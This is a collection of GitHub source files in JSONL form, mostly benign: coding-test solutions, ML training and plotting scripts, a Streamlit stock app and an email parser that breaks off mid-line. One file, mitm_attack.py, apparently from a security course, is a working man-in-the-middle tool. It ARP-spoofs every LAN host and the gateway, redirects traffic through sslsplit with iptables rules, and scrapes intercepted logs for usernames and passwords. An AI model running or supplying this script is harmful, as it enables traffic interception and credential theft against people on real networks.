q[::-1]\n answer.append(reversed_trie.find_words(q))\n\n return answer\n\n\n# print(solution([\"frodo\", \"front\", \"frost\", \"frozen\", \"frame\", \"kakao\"], [\"fro??\", \"????o\", \"fr???\", \"fro???\", \"pro?\"]))\n# print(solution([\"fro\", \"front\", \"frost\"], [\"?????\"]))\n# print(solution([\"abcde\", \"abc\"], [\"abc??\"]))\n","repo_name":"Gyusik-Choi/algorithm","sub_path":"this-is-coding-test/이것이코딩테스트다_15장_가사검색_2.py","file_name":"이것이코딩테스트다_15장_가사검색_2.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2730741140","text":"import numpy as np\nimport torch\nfrom matplotlib import pyplot as plt\n\nimport os\np = os.path.dirname(os.path.abspath(__file__))\n\nDEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'\nDEVICE = 'cpu'\n\ndef plot_decision_boundry(net, X, line='g--'):\n W = net.fc.weight[0].detach().cpu().numpy()\n b = net.fc.bias.detach().cpu().numpy()\n f = lambda x: (-W[0]/W[1]) * x + (-b/W[1])\n dziedz = np.arange(-1, 1, 0.01)\n plt.plot(dziedz, f(dziedz), line) \n plt.xlim((-1, 1))\n plt.ylim((-1, 1))\n \n \ndef plot_decision_space(net, X, Y):\n net.to(DEVICE)\n \n xx, yy = np.mgrid[-1:1:.01, -1:1:.01]\n grid = np.c_[xx.ravel(), yy.ravel()]\n probs = torch.sigmoid(net(torch.from_numpy(grid).float().to(DEVICE))).view(-1, 1).view(xx.shape)\n f, ax = plt.subplots(figsize=(8, 6))\n\n\n contour = ax.contourf(xx, yy, probs.detach().cpu().numpy(), 25, cmap=\"RdBu\",\n vmin=0, vmax=1)\n ax_c = f.colorbar(contour)\n ax_c.set_label(\"$P(y = 1)$\")\n ax_c.set_ticks([0, .25, .5, .75, 1])\n\n ax.scatter(X[:,0], X[:, 1], c=Y, s=50,\n cmap=\"RdBu\", vmin=-.2, vmax=1.2,\n edgecolor=\"white\", linewidth=1)\n\n ax.set(aspect=\"equal\",\n xlim=(-1, 1), ylim=(-1, 1),\n xlabel=\"$X_1$\", ylabel=\"$X_2$\")\n \n return f\n \n \ndef visualize_data(X, Y):\n f, ax = plt.subplots(figsize=(8, 6))\n ax.scatter(X[:,0], X[:, 1], c=Y, s=50,\n cmap=\"RdBu\", vmin=-.2, vmax=1.2,\n edgecolor=\"white\", linewidth=1)\n\n ax.set(aspect=\"equal\",\n xlabel=\"$X_1$\", ylabel=\"$X_2$\") \n \n\ndef idtoname(i):\n\n with open(os.path.join(p, 'imagenet_synsets.txt'), 'r') as f:\n synsets = f.readlines()\n\n\n with open(os.path.join(p, 'imagenet_classes.txt'), 'r') as f:\n class_id_to_key = f.readlines()\n\n\n synsets = [x.strip() for x in synsets]\n splits = [line.split(' ') for line in synsets]\n key_to_classname = {spl[0]:' '.join(spl[1:]) for spl in splits}\n\n\n class_id_to_key = [x.strip() for x in class_id_to_key]\n name = key_to_classname[class_id_to_key[i]]\n print(name)\n return name","repo_name":"i008/dsr-pytorch","sub_path":"utils/vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"} +{"seq_id":"33856553661","text":"def string1(a,b):\n x=len(a)\n no1=35-x\n no2=no1-len(b)\n print(a,'-'*no2,b)\n return None\nstr1=input(\"Enter the first String\")\nstr2=input(\"Enter the second String\")\nstring1(str1,str2)\n\ndef person_info(height1,height2,year1,year2):\n height=height1-height2\n years=year1-year2\n if height>0 and years>0:\n print(\"Erin's is both Older and Taller then Dale's.\")\n \n elif height<0 and years<0:\n print(\"Dale's older and taller then Erin's\")\n else:\n print(\"There is no name for taller and older\")\n\n\nerins_height=int(input(\"enter the height of Erin's in cm\"))\ndales_height=int(input(\"enter the height of Dale's in cm\"))\nerins_year=int(input(\"enter the age of Erin's in years\"))\ndales_year=int(input(\"enter the age of Dale's in years\"))\nperson_info(erins_height,dales_height,erins_year,dales_year)\n \n","repo_name":"nutan0143sonu/pyton-code","sub_path":"code/string_35char.py","file_name":"string_35char.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23884051245","text":"print(\"\"\"==============================\n CALCULO DE PA\n==============================\"\"\")\nprime = int(input('Primeiro Termo: '))\nrazao = int(input('Razão da PA: '))\ntermo = prime\nvezes = 1\nwhile vezes <= 10:\n print(f'{termo} ', end=' → ')\n termo += razao\n vezes += 1\nprint('FIM', end='')","repo_name":"Jiraia44202/Python","sub_path":"Curso em video/Exercícios de Python/ex0061.py","file_name":"ex0061.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8341543283","text":"import keras\nfrom utils.load_cifar import load_data\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom models import resnet, densenet, inception, vggnet\nfrom keras.callbacks import LearningRateScheduler\nfrom compression import prune_weights, save_compressed_weights\nfrom copy import deepcopy\nimport argparse\nimport os\n\n\ndef save_history(history, result_dir, prefix):\n loss = history.history['loss']\n acc = history.history['acc']\n val_loss = history.history['val_loss']\n val_acc = history.history['val_acc']\n nb_epoch = len(acc)\n\n with open(os.path.join(result_dir, '{}_result.txt'.format(prefix)), 'w') as fp:\n fp.write('epoch\\tloss\\tacc\\tval_loss\\tval_acc\\n')\n for i in range(nb_epoch):\n fp.write('{}\\t{}\\t{}\\t{}\\t{}\\n'.format(\n i, loss[i], acc[i], val_loss[i], val_acc[i]))\n\n\ndef schedule(epoch):\n if epoch < 60:\n return 0.1\n elif epoch < 120:\n return 0.01\n elif epoch < 160:\n return 0.001\n else:\n return 0.0001\n\n\ndef training():\n batch_size = 64\n epochs = 200\n fine_tune_epochs = 30\n lr = 0.1\n\n x_train, y_train, x_test, y_test, nb_classes = load_data(args.data)\n print('x_train shape:', x_train.shape)\n print(x_train.shape[0], 'train samples')\n print(x_test.shape[0], 'test samples')\n\n y_train = keras.utils.to_categorical(y_train, nb_classes)\n y_test = keras.utils.to_categorical(y_test, nb_classes)\n\n datagen = ImageDataGenerator(horizontal_flip=True,\n width_shift_range=5. / 32,\n height_shift_range=5. / 32)\n data_iter = datagen.flow(x_train, y_train, batch_size=batch_size, shuffle=True)\n\n if args.model == 'resnet':\n model = resnet.resnet(nb_classes,\n depth=args.depth,\n wide_factor=args.wide_factor)\n save_name = 'resnet_{}_{}_{}'.format(args.depth, args.wide_factor, args.data)\n elif args.model == 'densenet':\n model = densenet.densenet(nb_classes, args.growth_rate, depth=args.depth)\n save_name = 'densenet_{}_{}_{}'.format(args.depth, args.growth_rate, args.data)\n elif args.model == 'inception':\n model = inception.inception_v3(nb_classes)\n save_name = 'inception_{}'.format(args.data)\n\n elif args.model == 'vgg':\n model = vggnet.vgg(nb_classes)\n save_name = 'vgg_{}'.format(args.data)\n else:\n raise ValueError('Does not support {}'.format(args.model))\n\n model.summary()\n learning_rate_scheduler = LearningRateScheduler(schedule=schedule)\n if args.model == 'vgg':\n callbacks = None\n model.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n else:\n callbacks = [learning_rate_scheduler]\n model.compile(loss='categorical_crossentropy',\n optimizer=keras.optimizers.SGD(lr=lr, momentum=0.9, nesterov=True),\n metrics=['accuracy'])\n # pre-train\n history = model.fit_generator(data_iter,\n steps_per_epoch=x_train.shape[0] // batch_size,\n epochs=epochs,\n callbacks=callbacks,\n validation_data=(x_test, y_test))\n if not os.path.exists('./results/'):\n os.mkdir('./results/')\n save_history(history, './results/', save_name)\n model.save_weights('./results/{}_weights.h5'.format(save_name))\n\n # prune weights\n # save masks for weight layers\n masks = {}\n layer_count = 0\n # not compress first convolution layer\n first_conv = True\n for layer in model.layers:\n weight = layer.get_weights()\n if len(weight) >= 2:\n if not first_conv:\n w = deepcopy(weight)\n tmp, mask = prune_weights(w[0], compress_rate=args.compress_rate)\n masks[layer_count] = mask\n w[0] = tmp\n layer.set_weights(w)\n else:\n first_conv = False\n layer_count += 1\n # evaluate model after pruning\n score = model.evaluate(x_test, y_test, verbose=0)\n print('val loss: {}'.format(score[0]))\n print('val acc: {}'.format(score[1]))\n # fine-tune\n for i in range(fine_tune_epochs):\n for _ in range(x_train.shape[0] // batch_size):\n X, Y = data_iter.next()\n # train on each batch\n model.train_on_batch(X, Y)\n # apply masks\n for layer_id in masks:\n w = model.layers[layer_id].get_weights()\n w[0] = w[0] * masks[layer_id]\n model.layers[layer_id].set_weights(w)\n score = model.evaluate(x_test, y_test, verbose=0)\n print('val loss: {}'.format(score[0]))\n print('val acc: {}'.format(score[1]))\n\n # save compressed weights\n compressed_name = './results/compressed_{}_weights'.format(args.model)\n save_compressed_weights(model, compressed_name)\n\n\nif __name__ == '__main__':\n parse = argparse.ArgumentParser()\n parse.add_argument('--data', type=str, default='c10', help='Supports c10 (CIFAR-10) and c100 (CIFAR-100)')\n parse.add_argument('--model', type=str, default='resnet')\n parse.add_argument('--depth', type=int, default=50)\n parse.add_argument('--growth-rate', type=int, default=12, help='growth rate for densenet')\n parse.add_argument('--wide-factor', type=int, default=1, help='wide factor for WRN')\n parse.add_argument('--compress-rate', type=float, default=0.9)\n args = parse.parse_args()\n\n if args.data not in ['c10', 'c100']:\n raise Exception('args.data must be c10 or c100!')\n\n training()\n","repo_name":"TianzhongSong/Model-Compression-Keras","sub_path":"train_and_compress_cnn.py","file_name":"train_and_compress_cnn.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"47"} +{"seq_id":"2032234366","text":"import datasets\nimport numpy as np\nfrom transformers import BertTokenizerFast, TrainingArguments\nfrom transformers import DataCollatorForTokenClassification\nfrom transformers import AutoModelForTokenClassification\nimport evaluate\n\nEVAL_STRATEGY = \"epoch\"\nLER_RATE = 2e-5\nTRAIN_BATCH = 16\nTEST_BATCH = 16\nTRAIN_EPOCHS = 3\nWEIGHT_DEC = 0.01\n\nconll2003 = datasets.load_dataset(\"conll2003\")\n\ntokenizer = BertTokenizerFast.from_pretrained(\"bert-base-uncased\")\n\nexample_token = conll2003[\"train\"][0]\ntokenizer_input = tokenizer(example_token[\"tokens\"], is_split_into_words=True)\ntokens = tokenizer.convert_ids_to_tokens(tokenizer_input['input_ids'])\nword_ids = tokenizer_input.word_ids()\n\n\ndef tokenize_and_align_labels(examples, label_all_tokens=True):\n \"\"\"1) Устанавливает -100 в качестве метки для этих специальных лексем и подслов,\n которые мы хотим замаскировать во время обучения\n 2) Маскирует представления подслов после первого подслова\"\"\"\n tokenized_inputs = tokenizer(examples[\"tokens\"], truncation=True, is_split_into_words=True)\n labels = []\n for i, label in enumerate(examples[\"ner_tags\"]):\n word_ids = tokenized_inputs.word_ids(batch_index=i)\n previous_word_idx = None\n\n label_ids = []\n\n for word_idx in word_ids:\n if word_idx is None:\n label_ids.append(-100)\n elif word_idx != previous_word_idx:\n label_ids.append(label[word_idx])\n else:\n label_ids.append(label[word_idx] if label_all_tokens else -100)\n previous_word_idx = word_idx\n labels.append(label_ids)\n tokenized_inputs['labels'] = labels\n return tokenized_inputs\n\n\nq = tokenize_and_align_labels(conll2003['train'][4:5])\n\nfor token, label in zip(tokenizer.convert_ids_to_tokens(q[\"input_ids\"][0]), q[\"labels\"][0]):\n print(f\"{token:_<40} {label}\")\n\ntokenized_datasets = conll2003.map(tokenize_and_align_labels, batched=True)\n\nmodel = AutoModelForTokenClassification.from_pretrained(\"bert-base-uncased\", num_labels=9)\n\nargs = TrainingArguments(\"test-ner\",\n evaluation_strategy=EVAL_STRATEGY,\n learning_rate=LER_RATE,\n per_device_train_batch_size=TRAIN_BATCH,\n per_device_eval_batch_size=TRAIN_BATCH,\n num_train_epochs=TRAIN_EPOCHS,\n weight_decay=WEIGHT_DEC,\n )\ndata_collator = DataCollatorForTokenClassification(tokenizer)\nmetric = evaluate.load('seqeval')\nexample = conll2003['train'][0]\nlabel_list = conll2003[\"train\"].features[\"ner_tags\"].feature.names\n\nlabels = [label_list[i] for i in example[\"ner_tags\"]]\nmetric.compute(predictions=[labels], references=[labels])\n\n\ndef compute_metrics(eval_preds):\n \"\"\"1) Эта функция compute_metrics() сначала берет argmax логитов, чтобы преобразовать их в предсказания.\n 2) Затем нам нужно преобразовать метки и предсказания из целых чисел в строки. Мы удаляем все значения,\n для которых метка равна -100, а затем передаем результаты в метод metric.compute():\"\"\"\n pred_logits, labels = eval_preds\n\n pred_logits = np.argmax(pred_logits, axis=2)\n\n predictions = [\n [label_list[eval_preds] for (eval_preds, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(pred_logits, labels)\n ]\n\n true_labels = [\n [label_list[l] for (eval_preds, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(pred_logits, labels)\n ]\n results = metric.compute(predictions=predictions, references=true_labels)\n return {\n \"precision\": results[\"overall_precision\"],\n \"recall\": results[\"overall_recall\"],\n \"f1\": results[\"overall_f1\"],\n \"accuracy\": results[\"overall_accuracy\"],\n }\n","repo_name":"7Askar7/MONDAY_AI","sub_path":"analysis_resume/tokenize_and_setting_metrics.py","file_name":"tokenize_and_setting_metrics.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28576452194","text":"#!/usr/bin/env python3\n\nimport netifaces\nimport scapy.all as scapy\nimport time\nimport threading\nimport os\n# from netaddr import IPAddress\nimport math\nfrom os import listdir\nfrom os.path import isfile, join\nimport os\nimport sys\n\ndef get_mac(ip):\n for a in range(10):\n arp_request = scapy.ARP(pdst = ip)\n broadcast = scapy.Ether(dst =\"ff:ff:ff:ff:ff:ff\")\n arp_request_broadcast = broadcast / arp_request\n answered_list, unanswer = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)\n if len(answered_list) == 0:\n print(\"no find\")\n continue\n else:\n return answered_list[0][1].hwsrc\n print(\"Can't find mac address\")\n os.exit(1)\n\n # return 'b4:6b:fc:1d:e8:9f' # error here, use this for temp\n\ndef spoof(target_ip, spoof_ip, target_mac):\n packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = target_mac, psrc = spoof_ip)\n \n scapy.send(packet, verbose = False)\n\ndef restore(destination_ip, source_ip):\n destination_mac = get_mac(destination_ip)\n source_mac = get_mac(source_ip)\n packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)\n scapy.send(packet, verbose = False)\n\ndef translate_to_slash(netmask):\n temp = netmask.rsplit('.')\n number = 0\n for i in range(4):\n number = number << 8\n number += int(temp[i])\n slash = 0\n for i in range(32):\n if number % 2 == 1:\n slash = i\n break\n number = number >> 1\n return 32 - slash\n\n\n# def get_local_info():\n# # interfaces = netifaces.ifaddresses('wlp3s0')\n# interfaces = netifaces.ifaddresses('enp0s3')\n# # dictionary\n# normal_internet = interfaces[netifaces.AF_INET][0]\n# address = normal_internet['addr']\n# netmask = normal_internet['netmask']\n# broadcast = normal_internet['broadcast']\n# # slash = IPAddress(netmask).netmask_bits()\n# slash = translate_to_slash(netmask)\n# # obtain gateway\n# gws = netifaces.gateways()\n# gw = gws['default'][netifaces.AF_INET][0]\n \n# return address, netmask, broadcast, str(slash), gw\n\ndef get_local_info():\n \n interfaces = netifaces.interfaces()\n\n for interface_name in interfaces:\n interface = netifaces.ifaddresses(interface_name)\n try:\n # dictionary\n normal_internet = interface[netifaces.AF_INET][0]\n address = normal_internet['addr']\n netmask = normal_internet['netmask']\n broadcast = normal_internet['broadcast']\n # slash = IPAddress(netmask).netmask_bits()\n slash = translate_to_slash(netmask)\n # obtain gateway\n gws = netifaces.gateways()\n gw = gws['default'][netifaces.AF_INET][0]\n return address, netmask, broadcast, str(slash), gw\n except KeyError:\n print(\"this interface: \", interface_name, \" isn't feasible\")\n continue\n\ndef getDevice(ip, gw):\n request = scapy.ARP()\n request.pdst = ip\n broadcast = scapy.Ether()\n\n broadcast.dst = 'ff:ff:ff:ff:ff:ff'\n\n request_broadcast = broadcast / request\n clients = scapy.srp(request_broadcast, timeout=10, verbose=1)[0]\n\n result = []\n\n print('Available devices')\n print('----------------------------')\n print('IP MAC')\n print('----------------------------')\n for element in clients:\n if element[1].psrc != gw:\n print(element[1].psrc + \" \" + element[1].hwsrc)\n result_dict = {\"ip\": element[1].psrc, \"mac\": element[1].hwsrc}\n result.append(result_dict)\n print(' ')\n\n return result\n\ndef get_information(filename, record):\n # parse log\n line = \"\"\n log = open(filename, 'rb')\n byte = 1\n\n # for i in range(100):\n while byte:\n line = \"\"\n while 1:\n byte = log.read(1)\n if not byte:\n log.close()\n break\n # byte = str(byte)[2]\n line = line + str(byte)[2]\n if byte == b'\\n':\n # print(\"next line\")\n break\n line = line[:len(line)-2]\n username = line.find('username=')\n if username != -1:\n try:\n # print(line)\n # find start with find username\n # erase username&\n line = line[username + 9:]\n first_and_mark = line.find('&')\n username = line[:first_and_mark]\n\n # erase &password=\n line = line[first_and_mark+10:]\n first_and_mark = line.find('&')\n password = line[:first_and_mark]\n try:\n record[username]\n except KeyError:\n print()\n print(\"Username: \",username)\n print(\"Password \",password)\n record[username] = password\n except:\n pass\n return record\n\ndef sslSplit(stop):\n # x = 0\n # while x < 5:\n # os.system(\"date\")\n # x = x + 1\n # time.sleep(2)\n # print(\"[-] sslSplit stopped\")\n \n # obtain file path\n pathname = os.path.realpath(__file__)\n last = pathname.rfind('/')\n mypath = pathname[:last]\n # iptable config\n os.system(\"sysctl -w net.ipv4.ip_forward=1\")\n os.system(\"iptables -t nat -F\")\n os.system(\"iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080\")\n os.system(\"iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443\")\n\n # run sslsplit\n command = 'sslsplit -d -l ' + mypath + '/sslsplit/connections.log'\\\n ' -j ' + mypath + '/sslsplit/'\\\n ' -S ' + mypath + '/sslsplit/logdir/'\\\n ' -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080'\n os.system(command)\n # while loop keep search username and password\n logpath = mypath + \"/sslsplit/logdir/\"\n # used set() to record\n # already_search = set()\n record = {}\n while stop() == 0:\n onlyfiles = [f for f in listdir(logpath) if isfile(join(logpath, f))]\n for i in onlyfiles:\n record = get_information(logpath + i, record)\n time.sleep(5)\n \n # delete iptable\n\n\n\n\nif __name__ == '__main__':\n\n address, netmask, broadcast, slash, gw = get_local_info()\n\n # print(get_mac('192.168.99.100')) \n result = getDevice(address + '/' + slash, gw)\n\n # target_ip = \"172.20.10.11\" # Enter your target IP\n # gateway_ip = \"192.168.99.1\" # Enter your gateway's IP\n gateway_ip = gw\n\n\n t = threading.Thread(target = sslSplit, args =(lambda : stop_threads, ))\n t.start()\n stop_threads = False\n\n try:\n sent_packets_count = 0\n while True:\n for index in result:\n if index['ip'] != gw:\n target_ip = index['ip']\n target_mac = index['mac']\n spoof(target_ip, gateway_ip, target_mac) # cheat on victim to know I am gateway\n spoof(gateway_ip, target_ip, target_mac) # cheat on switch to know I am target\n sent_packets_count = sent_packets_count + 2\n print(\"\\r[*] Packets Sent \"+str(sent_packets_count), end =\"\")\n # time.sleep(0.5) # Waits for two seconds\n \n except KeyboardInterrupt:\n print(\"\\nCtrl + C pressed.............Exiting\")\n # restore(gateway_ip, target_ip)\n # restore(target_ip, gateway_ip)\n print(\"[-] Arp Spoof Stopped\")\n stop_threads = True\n t.join()\n os.system(\"iptables -t nat -F\")\n print(\"stop thread\")\n\n # interface = netifaces.interfaces()[1]\n # print('=============')\n # print('Interface Info')\n # print('=============')\n # print(netifaces.ifaddresses(interface))\n # print(' ')\n\n # request = scapy.ARP()\n # print('============')\n # print('Request Info')\n # print('============')\n # print(request.summary())\n # print(' ')","repo_name":"OhMyBuggg/ComputerSecurity","sub_path":"project2/mitm_attack.py","file_name":"mitm_attack.py","file_ext":"py","file_size_in_byte":8018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72589257741","text":"from dataclasses import dataclass\nfrom itertools import count\n\nimport matplotlib.pyplot as plt\nimport mlflow\nfrom mne.decoding import CSP\n\nfrom ..transformers import PointsToChannels\nfrom ..types import Device, Directory\nfrom ..utils import data_dir\nfrom .base import BaseExperiment\n\n\n@dataclass\nclass CrossvalidatedCsp(BaseExperiment):\n '''Plots crossvalidated CSP extracted signal for each record in dataset\n '''\n\n device: Device = 'cpu'\n artifacts_dir: Directory = data_dir / 'tmp'\n\n def evaluate(self):\n super().evaluate()\n self.artifacts_dir.mkdir(exist_ok=True)\n\n names = ('both', 'X', 'Y')\n signals = tuple(\n PointsToChannels().fit_transform(self.state.features[..., sli])\n for sli in (slice(None), slice(None, 1), slice(1, None))\n )\n labels = self.state.labels\n markup = self.state.dataset.markup[self.state.mask]\n with mlflow.start_run():\n self.log_run()\n\n plt.figure(figsize=(10, 7), constrained_layout=True)\n for train_inds, test_inds in self.state.cv.split(signals[0], labels):\n mixed = []\n for signal in signals:\n csp = CSP(n_components=1, transform_into='csp_space')\n csp.fit(signal[train_inds], labels[train_inds])\n # normalizing filters\n csp.filters_ = csp.filters_ / csp.filters_.sum(axis=1, keepdims=True)\n mixed.append(csp.transform(signal[test_inds])[:, 0, :])\n\n for test_ind, markup_ind in enumerate(test_inds):\n orig_id = markup.iloc[markup_ind]['id']\n filename = self.artifacts_dir / f'{orig_id:03} record CSP.png'\n if self.verbose:\n print(filename.stem)\n\n plt.clf()\n for i, name, mix in zip(count(), names, mixed):\n plt.plot(mix[test_ind] + 20 * i, label=name)\n plt.title(filename.stem)\n plt.legend(\n loc='lower right',\n frameon=True,\n facecolor='w',\n edgecolor='r',\n framealpha=0.6,\n )\n plt.savefig(filename)\n mlflow.log_artifact(filename)\n","repo_name":"v-goncharenko/mimics","sub_path":"mimics/experiments/csp.py","file_name":"csp.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"73645370382","text":"from collections import Counter\n\nN = int(input())\n\n\ndef prime_factorize(n):\n a = []\n while n % 2 == 0:\n a.append(2)\n n //= 2\n f = 3\n while f * f <= n:\n if n % f == 0:\n a.append(f)\n n //= f\n else:\n f += 2\n if n != 1:\n a.append(n)\n return Counter(a)\n\n\nans = 0\nfor v in prime_factorize(N).items():\n cnt = v[1]\n for i in range(1, N):\n if cnt - i >= 0:\n cnt -= i\n ans += 1\n else:\n break\nprint(ans)\n","repo_name":"snhr-1019/competitive-programming","sub_path":"AtCoder/abc169/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41030283405","text":"import yfinance as yf\nimport streamlit as st\nimport pandas as pd\n\n# SETTING PAGE CONFIG TO WIDE MODE\nst.set_page_config(layout=\"wide\")\n\nrow1_1, row1_2 = st.columns((3,1))\n\nwith row1_1:\n st.title(\"Simple Stock Price Of Meta Platforms Inc (Facebook)\")\n\nwith row1_2:\n st.write(\n \"\"\"\n ##\n Berikut adalah harga stock dan volume dari Meta Platforms!\n Data dari tahun 2010 Desember 17 sampai tahun 2021 Desember 17\n \"\"\")\n\ntickerSymbol = 'FB'\n\ntickerData = yf.Ticker(tickerSymbol)\ntickerDf = tickerData.history(period='1d', start='2010-12-17', end='2021-12-17')\n\nst.subheader('Closing Price')\nst.line_chart(tickerDf.Close)\n\nst.subheader('Volume Price')\nst.line_chart(tickerDf.Volume)","repo_name":"lolimilkita/Python-Data-Science-Project","sub_path":"Simple Website Stock Price/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70152045262","text":"#!/usr/bin/env python3\nimport sys\nimport os\n\nprint(\"getting build vars\")\nfrom buildutil import get_build_var\nchromedriver_path = get_build_var(\"chromedriver\")\nchrome_path = get_build_var(\"chrome\")\n\nprint(\"importing uc\")\nimport uc\n\nprint(\"creating driver instance\")\ndriver = uc.Chrome(driver_executable_path=chromedriver_path, browser_executable_path=chrome_path, use_subprocess=False)\n\nprint(\"getting nowsecure page\")\ndriver.get('https://nowsecure.nl')\n\nprint(\"waiting for presence of '.lead'\")\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\ntry:\n WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CLASS_NAME, \"lead\")))\nexcept:\n driver.quit()\n print(\"failed waiting for lead element\")\n sys.exit(1)\n\nprint(\"finding '.lead' elements\")\ntry:\n elements = driver.find_elements(By.CLASS_NAME, 'lead')\n\n print(\"\")\n print(\"%d elements found:\" % (len(elements)))\n i=0\n for element in elements:\n print(\"[%d] %s\" % (i, element.text))\n i = i + 1\nexcept:\n driver.quit()\n print(\"failed getting lead element\")\n sys.exit(2)","repo_name":"chl0e3e/newswall","sub_path":"007-test-uc.py","file_name":"007-test-uc.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35340858000","text":"import time\nimport asyncio\nimport threading\n\nclass ws:\n def __init__(self):\n self.data = []\n\n async def add_data(self, d):\n self.data.append(d)\n await asyncio.sleep(1)\n print('num data=',len(self.data))\n\n\n def get_data_loop(self):\n loop = asyncio.get_event_loop()\n #queue = asyncio.Queue()\n for i in range(100):\n task = loop.create_task(self.add_data(i))\n loop.run_until_complete(task)\n loop.stop()\n loop.close()\n\n\nclass other_task:\n def task_loop(self):\n for i in range(100):\n print('other task-' + str(i))\n time.sleep(0.5)\n\nclass TestAsync:\n def start(self):\n wsin = ws()\n wsin.get_data_loop()\n ot = other_task()\n ot.task_loop()\n\n\n\nclass thread1:\n @classmethod\n def initialize(cls):\n cls.data = 0\n cls.lock = threading.Lock()\n\n @classmethod\n def set_data(cls, d):\n with cls.lock:\n cls.data = d\n\n @classmethod\n def get_data(cls):\n with cls.lock:\n return cls.data\n\n\nclass Update1:\n def thread1(self):\n while True:\n thread1.set_data(1)\n print('th1-', thread1.get_data())\n time.sleep(0.1)\n\nclass Update2:\n def thread2(self):\n while True:\n thread1.set_data(2)\n print('th2-', thread1.get_data())\n time.sleep(3)\n\n\n\nif __name__ == '__main__':\n thread1.initialize()\n u1 = Update1()\n u2 = Update2()\n th = threading.Thread(target=u1.thread1)\n th.start()\n th2 = threading.Thread(target=u2.thread2)\n th2.start()\n\n while True:\n time.sleep(1)\n\n\n","repo_name":"alunfes/mex-bot","sub_path":"TestAsync.py","file_name":"TestAsync.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24213845095","text":"import os\r\nimport extract_msg\r\nimport pandas as pd\r\nimport numpy as np\r\nimport openpyxl\r\nfrom datetime import datetime\r\nimport re\r\n\r\n#to change the path where e-mails are read from, simply change the string after path\r\nPATH = \"example_mails\"\r\nTODAY = datetime.today().strftime('%Y-%m-%d')\r\n\r\ndf = pd.DataFrame(columns=['email', 'save_email', 'save_time', 'get_quote_email', 'get_quote_time', 'get_quote_gwp',\r\n 'sale_email', 'sale_time', 'sale_gwp', 'tel_num'])\r\n\r\n\"\"\"\r\ncrawl the folder and return the file names\r\n\"\"\"\r\n\r\ndef folder_crawler():\r\n for root, dir_names, file_names in os.walk(PATH):\r\n return file_names\r\n\r\n\"\"\"\r\nopen the list of messages and find the subject, received time, receiver\r\nThen check if the message is saved, quote or sale and add it to the relevant dimension in the dataframe\r\nWithin each check, a check is included to see if the user has previously saved or quoted. If yes, no new row is created. \r\n\"\"\"\r\ndef open_transform_message(emails):\r\n for message in emails:\r\n msg = extract_msg.MessageBase(PATH + \"/\" + str(message)) #extract the message + meta data\r\n subject = msg.subject #get subject\r\n received_time = msg.receivedTime #get received time\r\n received_time = received_time.strftime('%Y-%m-%d') #clean received time\r\n receiver = msg.to #get receive email\r\n body = msg.body #get body of email\r\n email_check = df.index[df['email']==receiver].tolist() #check if email address is in df\r\n print(subject)\r\n if \"individuelle Konfiguration\" in subject:\r\n if len(email_check) > 0:\r\n df.at[email_check[0],'save_email'] = df.at[email_check[0],'save_email'] + 1\r\n df.at[email_check[0],'save_time'] = received_time\r\n else:\r\n new_data = {'email' : receiver, 'save_email' : 1, 'get_quote_email' : 0, 'sale_email' : 0,\r\n 'save_time': received_time}\r\n df.loc[len(df)] = new_data\r\n\r\n if \"Ihr Angebot\" in subject:\r\n payment = total_payment_get_quote(body) \r\n tel_num = telephone_number(body)\r\n print(tel_num)\r\n if len(email_check) > 0:\r\n df.at[email_check[0],'get_quote_email'] = df.at[email_check[0],'get_quote_email'] + 1\r\n df.at[email_check[0],'get_quote_time'] = received_time\r\n df.at[email_check[0],'get_quote_gwp'] = payment\r\n else:\r\n new_data = {'email' : receiver, 'save_email' : 0, 'get_quote_email' : 1, 'sale_email' : 0,\r\n 'get_quote_time' : received_time,'get_quote_gwp' : payment, 'tel_num': tel_num}\r\n df.loc[len(df)] = new_data \r\n \r\n if \"Abschluss\" in subject:\r\n if len(email_check) > 0:\r\n df.at[email_check[0],'sale_email'] = 1\r\n df.at[email_check[0],'sale_time'] = received_time\r\n elif (len(email_check) == 0) & (\"CIO:\" in subject):\r\n e_mail_client = re.findall(r\"E-Mail.+@.+\\..+\\s\", body) #find email of 